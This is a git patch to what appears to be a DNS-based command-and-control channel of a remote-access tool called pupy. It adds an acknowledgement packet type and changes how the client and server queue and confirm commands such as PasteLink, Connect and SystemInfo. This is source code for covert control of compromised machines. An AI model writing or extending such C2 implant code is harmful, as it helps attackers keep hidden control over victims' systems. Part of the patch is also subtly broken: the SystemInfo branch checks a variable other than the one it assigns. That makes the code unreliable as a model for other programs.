From 308ebe2df64360b63c27789818a4e4a3dccb7d02 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Thu, 1 Dec 2016 13:45:39 +0200 Subject: [PATCH] DNSCNC minor improvements [+] Add ACK packet type. It's possible that multiple same packets will arrive to server, and that response which doesn't contains commands will be delivered to the client --- pupy/network/lib/picocmd/ascii85.py | 2 ++ pupy/network/lib/picocmd/baseconv.py | 2 ++ pupy/network/lib/picocmd/client.py | 14 ++++++++------ pupy/network/lib/picocmd/ecpv.py | 2 ++ pupy/network/lib/picocmd/picocmd.py | 19 ++++++++++++++++++- pupy/network/lib/picocmd/server.py | 24 ++++++++++++++++-------- 6 files changed, 48 insertions(+), 15 deletions(-) diff --git a/pupy/network/lib/picocmd/ascii85.py b/pupy/network/lib/picocmd/ascii85.py index 6afa120f..04be0db5 100644 --- a/pupy/network/lib/picocmd/ascii85.py +++ b/pupy/network/lib/picocmd/ascii85.py @@ -1,3 +1,5 @@ +# -*- coding: utf-8 -*- + import string def ascii85EncodeDG(str): diff --git a/pupy/network/lib/picocmd/baseconv.py b/pupy/network/lib/picocmd/baseconv.py index 0d7fb2a3..5f20731f 100644 --- a/pupy/network/lib/picocmd/baseconv.py +++ b/pupy/network/lib/picocmd/baseconv.py @@ -1,3 +1,5 @@ +# -*- coding: utf-8 -*- + # Copyright (c) 2010, 2011, 2012, 2015 Guilherme Gondim. All rights reserved. # Copyright (c) 2009 Simon Willison. All rights reserved. # Copyright (c) 2002 Drew Perttula. All rights reserved. diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py index 5e0de5ed..3eaf27bc 100644 --- a/pupy/network/lib/picocmd/client.py +++ b/pupy/network/lib/picocmd/client.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +# -*- coding: utf-8 -*- import struct import socket @@ -175,6 +175,9 @@ class DnsCommandsClient(Thread): def process(self): commands = list(self._request(Poll())) logging.debug('commands: {}'.format(commands)) + ack = self._request(Ack(len(commands))) + if not ( len(ack) == 1 and isinstance(ack[0], Ack)): + logging.error('ACK <-> ACK failed: received: {}'.format(ack)) for command in commands: responses = [] @@ -193,7 +196,10 @@ class DnsCommandsClient(Thread): key = self.encoder.process_kex_response(response[0].parcel) self.spi = kex.spi elif isinstance(command, Poll): - responses = self._request(SystemInfo()) + ack = self._request(SystemInfo()) + if not len(response) == 1 and not isinstance(response[0], Ack): + logging.error('SystemInfo: ACK expected but {} found'.format( + response)) elif isinstance(command, PasteLink): self.on_pastelink(command.url, command.action, self.encoder) elif isinstance(command, Connect): @@ -203,13 +209,9 @@ class DnsCommandsClient(Thread): elif isinstance(command, Disconnect): self.on_disconnect() elif isinstance(command, Exit): - responses = self._request(Exit()) self.active = False self.on_exit() - for command in responses: - commands.append(command) - def run(self): while True: try: diff --git a/pupy/network/lib/picocmd/ecpv.py b/pupy/network/lib/picocmd/ecpv.py index 55eac2a0..f841891d 100644 --- a/pupy/network/lib/picocmd/ecpv.py +++ b/pupy/network/lib/picocmd/ecpv.py @@ -1,3 +1,5 @@ +# -*- coding: utf-8 -*- + from tinyec import ec, registry import os import math diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py index fb7bfc42..9294f070 100644 --- a/pupy/network/lib/picocmd/picocmd.py +++ b/pupy/network/lib/picocmd/picocmd.py @@ -1,3 +1,5 @@ +# -*- coding: utf-8 -*- + import struct import netaddr import re @@ -41,6 +43,21 @@ class Poll(Command): def __repr__(self): return '{POLL}' +class Ack(Command): + def __init__(self, amount=0): + self.amount = amount + + def pack(self): + return chr(self.amount) + + @staticmethod + def unpack(data): + return Ack(amount=ord(data[0])), 1 + + def __repr__(self): + return '{{ACK ({})}}'.format(self.amount) + + class Idle(Command): @staticmethod def unpack(data): @@ -418,7 +435,7 @@ class ParcelInvalidCommand(Exception): class Parcel(object): # Explicitly define commands. In other case make break something commands = [ - Poll, Policy, Idle, Kex, + Poll, Ack, Policy, Idle, Kex, Connect, PasteLink, SystemInfo, Error, Disconnect, Exit ] diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py index fac3d5de..ae968102 100644 --- a/pupy/network/lib/picocmd/server.py +++ b/pupy/network/lib/picocmd/server.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +# -*- coding: utf-8 -*- import copy import struct @@ -269,6 +269,9 @@ class DnsCommandServerHandler(BaseResolver): if isinstance(command, Poll) and session is None: return [Policy(self.interval, self.kex), Poll()] + elif isinstance(command, Ack) and (session is None): + return [Ack()] + elif isinstance(command, Exit): if session and session.system_info: self.on_exit(session.system_info) @@ -279,16 +282,21 @@ class DnsCommandServerHandler(BaseResolver): return [Exit()] elif isinstance(command, Poll) and (session is not None): - self.on_keep_alive(session.system_info) - commands = session.commands - session.commands = [] - return commands + self.on_keep_alive(session.system_info) + commands = session.commands + return commands + + elif isinstance(command, Ack) and (session is not None): + self.on_keep_alive(session.system_info) + if command.amount > len(session.commands): + logging.error('ACK: invalid amount of commands: {} > {}'.format( + command.amount, len(session.commands))) + session.commands = session.commands[command.amount:] + return [Ack()] elif isinstance(command, SystemInfo) and session is not None: session.system_info = command.get_dict() - commands = session.commands - session.commands = [] - return commands + return [Ack()] elif isinstance(command, Kex): with self.lock: